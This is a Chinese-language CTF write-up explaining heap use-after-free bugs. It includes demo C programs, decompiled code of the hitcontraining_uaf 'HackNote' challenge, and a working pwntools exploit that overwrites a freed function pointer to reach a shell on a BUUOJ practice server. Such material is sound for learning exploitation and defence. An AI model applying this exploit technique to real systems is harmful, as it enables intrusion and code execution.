# 1. 漏洞原因

# ctfWiki 上的示例:

c
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
  char *myname;
  void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
  NAME *a; //
  a = (NAME *)malloc(sizeof(struct name));
  a->func = myprint;
  a->myname = "I can also use it";  // 这里的是字符串指针没有被打印
  a->func("this is my function");
  // free without modify
  free(a);
  a->func("I can also use it"); // 释放之后仍然能够调用函数就是因为指针没被置空,这里的 func=myprint, 后面的为参数
  // free with modify
  a->func = printmyname;// 仅仅是对函数的调用了,而是直接将 func 成员变量中的函数指针更改成了 printmyname () 函数,并且调用 func 成员变量。
  // 虽然 printmyname () 函数不需要参数,但为了能够让程序认为这里依然是 myprint () 函数,并且认为我们的操作是合法的,所以传入了参数 "this is my function"。
  a->func("this is my function");// 这里的就没有被打印,因为函数已经更改没有参数输出;
  // set NULL
  a = NULL;    // 这里就将函数指针置空了
  printf("this pogram will crash...\n");
  a->func("can not be printed...");  // 指针置空后就无法再调用了,就会保报错
}

运行结果:

➜  use_after_free git:(use_after_free) ✗ ./use_after_free                      
this is my function

I can also use it         #释放后调用
call print my name   #释放后调用
this pogram will crash...   
[1]    38738 segmentation fault (core dumped)  ./use_after_free    #这里的报错是指针置空后再调用引起的

这里我们就发现了,因为没有被置空所以我们能接着用指针内的函数指针来执行对应操作,但是置空后就会报错

# 一般利用:

在申请了一个堆块后,当我们执行了 free 来释放它,但是如果我们没有将这个指针 置空 时,由于 fastbin 我们下一次申请通样大小的堆块,则会申请到上次同一个堆,这时 上一次的堆指针 因为没有被置空则仍然可以访问第二次申请的堆,这样两个指针就指向的是同一个堆块,我们就能够利用

应用程序调用free()释放内存时,如果内存块小于256kb,
dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。
这么做的原因有两个:
一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端)
二是供应用程序下次申请内存使用(这是主要原因)。
当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。
如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。
如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。
dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

这里利用别人的示例代码进行说明:

原文章地址:
https://blog.csdn.net/qq_31481187/article/details/73612451

c
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
    func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
    printf("malloc addr: %p\n",p1);
    p1[3]=echo;
    p1[3]("hello world\n");
    free(p1); // 在这里 free 了 p1, 但并未将 p1 置空,导致后续可以再使用 p1 指针
    p1[3]("hello again\n"); //p1 指针未被置空,虽然 free 了,但仍可使用.
    func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc 在 free 一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
    printf("malloc addr: %p\n",p2);
    printf("malloc addr: %p\n",p1);//p2 与 p1 指针指向的内存为同一地址
    p2[3]=evil_fuc; // 在这里将 p1 指针里面保存的 echo 函数指针覆盖成为了 evil_func 指针.
    p1[3]("/bin/sh");
    return 0;
}

这里我们可以看见指针没有被置空导致仍然能够向 p1 中改写参数,并且可以调用对应的函数;如果置空时我们就要重新申请堆,这时就无法改写前面堆内部的值

# 例题:hitcontraining_uaf(use after free)

# 1. 程序分析

32 位程序,开了 NX

伪源码:

main

c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[4]; // [esp+0h] [ebp-Ch] BYREF
  int *v5; // [esp+4h] [ebp-8h]
  v5 = &argc;
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4u);
      v3 = atoi(buf);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

menu:

c
int menu()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}

del_note:

c
int del_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]
  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
  {
    free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
    free(*((void **)&notelist + v2));
    result = puts("Success");
  }
  return result;
}

print_note:

c
int print_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]
  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
    result = (**((int (__cdecl ***)(_DWORD))&notelist + v2))(*((_DWORD *)&notelist + v2));
  return result;
}

add_note:

c
int add_note()
{
  int result; // eax
  int v1; // esi
  char buf[8]; // [esp+0h] [ebp-18h] BYREF
  size_t size; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]
  result = count;
  if ( count > 5 )
    return puts("Full");
  for ( i = 0; i <= 4; ++i )
  {
    result = *((_DWORD *)&notelist + i);
    if ( !result )
    {
      *((_DWORD *)&notelist + i) = malloc(8u);
      if ( !*((_DWORD *)&notelist + i) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      **((_DWORD **)&notelist + i) = print_note_content;
      printf("Note size :");
      read(0, buf, 8u);
      size = atoi(buf);
      v1 = *((_DWORD *)&notelist + i);
      *(_DWORD *)(v1 + 4) = malloc(size);
      if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
      {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
      puts("Success !");
      return ++count;
    }
  }
  return result;
}

仍然是堆的菜单题

gdb 调试随便输入几个查看堆,这里是 tcache 应该是需要切换 glibc 版本:

再删除 index1 看看

bin:

此时我们发现他的操作都是两个两个一起的,看一看地址情况

再查看一下程序产生的 0x10 的 chunk 的 fd 是是什么

这里发现是一个 print_note_content 函数,利用 ida 看一下

反汇编,发现是一个 puts :

c
int __cdecl print_note_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

设置个断点然后运行一下

这里发现刚好会 print_note_content 函数断开
这里也就输出我们的内容:

也就是说我们调用 print_not 就会通过该地址值来输出内容(因为 print_note 中并没有打印内容的函数)

这里就知道了 chunk 的 fd 指向了 print_note_content 回去执行打印内容

# 2. 漏洞分析

查看字符串,发现有 /bin/sh

跟进去看看,发现直接是个后门,没有开启 pie,所以我们可以利用:

这里发现 delete_note函数 并没有将指针置空,【错误的】 也就没有将对应的 index 号置空,也就是说,即使删除 index 后我们再次申请的 index 号仍然会增加,但是和之前删除的指向的是同一个地址

这里试一下将 index1删除 ,再申请同样大小的 chunk 内容为 www

看到原本的 index1 的内容被覆盖了,现在就要想办法将上面的 0x11chunk 的 fd 改写为后门函数的地址即可

我们知道 size 对应的 0x11 实际 chunk 的大小为 0x8,而执行 delete_note 函数时会将两个一起释放,那么我们只要将释放的 0x8 大小的 chunk 从 fastbin 中回收再改写 fd 即可即可

# 3.exp:

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn',27648)
#p=process("./hacknote")
system_binsh=0x8048945
def add(size,content):
    p.sendafter("choice :","1")
    p.sendafter("Note size :",str(size))
    p.sendafter("Content :",content)
    p.recvuntil("Success !")
def delete(index):
    p.sendafter("choice :","2")
    p.sendafter("Index :",str(index))
    
def print_a(index):
    p.sendlineafter("choice :","3")
    p.sendlineafter("Index :",str(index)) #这里要加换行,不然无法成功
   
add(16,"aaaa")
add(16,"bbbb")
add(16,"cccc")
delete(0) #
delete(1) #
add(8,p32(system_binsh)) #这里的 8 是程序创建的 chunk 的大小释放后被我们申请回来利用,原本这里 fd 存放的是 print_note_content
print_a(0) #给 index0 申请 chunk1
p.interactive()